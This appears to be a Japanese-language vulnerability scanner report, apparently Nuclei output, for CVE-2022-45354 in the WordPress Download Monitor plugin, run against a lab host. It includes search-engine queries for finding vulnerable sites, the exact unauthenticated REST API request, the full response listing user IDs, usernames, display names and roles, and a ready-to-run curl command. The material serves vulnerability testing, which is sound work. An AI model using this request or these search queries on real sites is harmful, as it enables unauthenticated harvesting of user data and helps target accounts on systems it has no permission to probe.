詳細: CVE-2022-45354:version が http://wordpress.lan で一致しました
プロトコル: HTTP
完全なURL: http://wordpress.lan/wp-content/plugins/download-monitor/readme.txt
タイムスタンプ: Tue Jul 11 09:09:59 +0000 UTC 2023
テンプレート情報
| キー | 値 |
|---|---|
| 名前 | Download Monitor <= 4.7.60 - REST API 経由の機密情報漏洩 |
| 作者 | topscoder |
| タグ | cve, wordpress, wp-plugin, download-monitor, medium |
| 深刻度 | medium |
| 説明 | WordPress 用 Download Monitor プラグインは、バージョン 4.7.60 以下において、REST API を介した機密情報漏洩に対して脆弱です。これにより、認証されていない攻撃者がユーザーレポート、ダウンロードレポート、そしてメール、ロール、ID、その他の情報（パスワードは除く）を含むユーザーデータなどの機密データを抽出できる可能性があります。 |
| CVSSメトリクス | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N |
| CVE-ID | CVE-2022-45354 |
| CVSSスコア | 5.40 |
| fofaクエリ | wp-content/plugins/download-monitor/ |
| googleクエリ | inurl:"/wp-content/plugins/download-monitor/" |
| shodanクエリ | vuln:CVE-2022-45354 |
リクエスト
GET /wp-json/download-monitor/v1/user_data HTTP/1.1
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
レスポンス
HTTP/1.1 200 OK
Date: Tue, 11 Jul 2023 09:46:18 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.28
dlm-no-waypoints: true
X-Robots-Tag: noindex
Link: <http://wordpress.lan/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Allow: GET
Vary: Origin
Content-Length: 1108
Connection: close
Content-Type: application/json
[
{
"id": "1",
"nicename": "admin",
"url": "http://wordpress.lan",
"registered": "2023-01-16 13:29:36",
"display_name": "admin",
"role": ""
},
{
"id": "8",
"nicename": "agent",
"url": "",
"registered": "2023-07-06 08:09:15",
"display_name": "agent",
"role": [
"subscriber"
]
},
{
"id": "3",
"nicename": "debra_moran",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Debra Moran",
"role": [
"wdk_agent"
]
},
{
"id": "4",
"nicename": "garry_novan",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Garry Novan",
"role": [
"wdk_agent"
]
},
{
"id": "5",
"nicename": "kety_spear",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Kety Spear",
"role": [
"wdk_agent"
]
},
{
"id": "7",
"nicename": "tagent",
"url": "",
"registered": "2023-07-06 08:09:14",
"display_name": "tagent",
"role": [
"subscriber"
]
},
{
"id": "9",
"nicename": "test",
"url": "",
"registered": "2023-07-06 09:56:31",
"display_name": "test",
"role": []
},
{
"id": "6",
"nicename": "rob",
"url": "",
"registered": "2023-06-28 13:36:56",
"display_name": "rob",
"role": [
"subscriber"
]
},
{
"id": "2",
"nicename": "user",
"url": "",
"registered": "2023-06-06 08:20:31",
"display_name": "user name",
"role": [
"subscriber"
]
}
]
CURLコマンド
curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 'http://wordpress.lan/wp-json/download-monitor/v1/user_data'